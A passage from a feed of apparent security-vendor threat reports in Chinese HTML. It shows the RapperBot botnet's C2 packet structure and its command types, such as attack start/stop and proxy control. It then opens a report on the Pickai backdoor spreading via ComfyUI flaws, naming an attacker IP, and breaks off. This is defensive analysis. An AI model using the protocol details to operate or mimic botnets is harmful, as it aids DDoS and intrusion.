src="https://wechat2rss.xlab.app/img-proxy/?k=ad29f8ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKW3ZQhFnI7HqEiaYlbuwfqw6lgPbSdpeNUUsxoge6uPuAtuZFibA7QibTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;font-weight: bold;">消息结构体：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><p><span leaf=""><span class="code-snippet__keyword">struct</span> rapperbot_packet{</span></p><p><span leaf=""><span class="code-snippet__type">int32</span> total_size;</span></p><p><span leaf=""><span class="code-snippet__type">int32</span> payload_size;</span></p><p><span leaf=""><span class="code-snippet__type">int16</span> checkcode;</span></p><p><span leaf=""><span class="code-snippet__type">int8</span> xorkey;</span></p><p><span leaf=""><span class="code-snippet__type">int8</span> packet_type;</span></p><p><span leaf=""><span class="code-snippet__type">int8</span> payload[payload_size];</span></p><p><span leaf=""><span class="code-snippet__type">int8</span> randdata[total_size-payload_size];</span></p><p><span leaf="">};</span></p></pre></p><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></pre><pre data-pm-slice="3 6 []"><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">已知的消息类型及作用：</span></span></p></pre><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></pre><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">PacketType</span></span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Desc</span></span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">1</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Login</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">2</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Confirm</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">3</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Pong</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">4</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">HeartBeat</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">5</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Start Attack</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">6</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Stop Attack</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">9</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Proxy Enable</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">10</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Proxy Disable</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">11</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Proxy Create</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">12</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Proxy Start</span></span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">13</span></span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">Proxy Close</span></span></p></td></tr></tbody></table><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></pre><pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></pre><pre><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">联系</span></span></pre><pre><span leaf=""><br/></span></pre><pre><span leaf=""><span textstyle="" style="font-size: 16px;font-weight: normal;">感兴趣的读者可以联系我们</span></span></pre><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2215d102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKPfAU7yAnNoicKVx0otoTc7KQtDvMwAr0MKbsATpxSmbSaRKTnb9JZ0w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f4b0c7ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKBVibBml1QmOGTCia8OiabokM8bL32PBB59dbk6mHvymU90ZzXtprbrfyw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2c769c22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKuSU2vEd3GWYCs2FBHoK8y0ESibpUJNiaVdh449kFwqYibfV9HOw0hv36Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a064f609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKbjSXic8lVSh8EgfSM8JxNzDIuDicF5TniciaOQuIbicsaR1beMibG10QhehA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b05cf79e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKz3VsObfvwicOh8WichLqLJXQ5DXF1jAZHicZqetHpwcCjGk7b9JfibDn3Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=588bb730&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKlcYGcINeLKnjEJqKJ2OHzicgOuE4ZsR6sjLxaedr2qg1tHYshXKsIAw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aa7963cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK2CH1iaZ9wiaN1Jwq7kPnxGicfibtDPKgSpWAdz5cd6I0pCzQpqwYFK51Jw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3a0bf389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKKiaZlibURy72M0mH7eZjrL3AfWmZuCiaWJf9hR06awCRpHMnluImre4bg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4945ad32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK5MiaObjcL4BGVL4HPGopcZicFfHhibTsiaajjxXzaZBurib32GvF70ruCcw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=adbbc231&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKBpV2KmlZgImIjRQ6wibaPiaW3fVdUUj4TRECpdDOrJqp3kNm9P0sHOOQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cf4f467b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKpkRfoITMickAE6TsOfvOY6ss60NUImWiaUmJLUARS3DXyyrkKQNkBsBg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9274f884&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsK5bvus8WOHg3oa8P0BqQ6A5v2ARLzCx1gSnOXIEaq6sQI7o0qvnBbqg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=42fcf38d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKW3ZQhFnI7HqEiaYlbuwfqw6lgPbSdpeNUUsxoge6uPuAtuZFibA7QibTQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://blog.xlab.qianxin.com/rapperbot/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f0965f6d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484077%26idx%3D1%26sn%3Dc6723e67cd8348272ace7045dfb89f21">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Jun 2025 17:25:07 +0800</pubDate>
    </item>
    <item>
      <title>警惕AI扒手：Pickai后门正通过ComfyUI漏洞传播</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484048&amp;idx=1&amp;sn=f0431308d8e6393dd273bd5ae6f8bd1f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-06-11 16:39</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3a1230d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp7pOAsErSLia4bRAP6Gy0JrXicjXuepMZ0b8lI4DoTKz7CEOQh0D7wLyw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">背景</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 20px;font-style: italic;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;font-style: italic;">目前已有境外黑客组织利用ComfyUI漏洞对我网络资产实施网络攻击，伺机窃取重要敏感数据</span><span textstyle="" style="font-size: 17px;font-style: normal;"> -- 来自 国家网络安全通报中心</span></span></span></p><p data-pm-slice="0 0 []"><strong><span data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年5月27日，</span></span></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">国家网络安全通报中心发布预警</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">，指出ComfyUI存在数个高危漏洞，且已被黑客组织利用，要求企业采取防护措施，避免网络与数据安全风险。显然，随着私有化部署AI模型的浪潮席卷各行各业，作为大模型图像生成领域的热门框架，ComfyUI在获得广泛应用的同时，也不可避免地成为了黑客攻击的重点目标。本文将介绍</span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">奇安信XLab</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">视野中的攻击活动，并详细分析这些攻击活动的具体特征和危害方式。</span></span></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">让我们把时钟拨回到2025年3月17日，</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">Xlab大网威胁感知系统</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">检测到IP </span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">185.189.149.151</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">通过ComfyUI漏洞传播多个伪装成配置文件的VT 低检测ELF可执行程序（如config.json，tmux.conf，vim.json等）经过分析，我们确认这几个文件属于同一个后门木马，基于它们具有窃取AI敏感数据的能力，我们从扒手（pickpocket）一词获得灵感，将它命名为AI扒手，</span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">Pickai</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 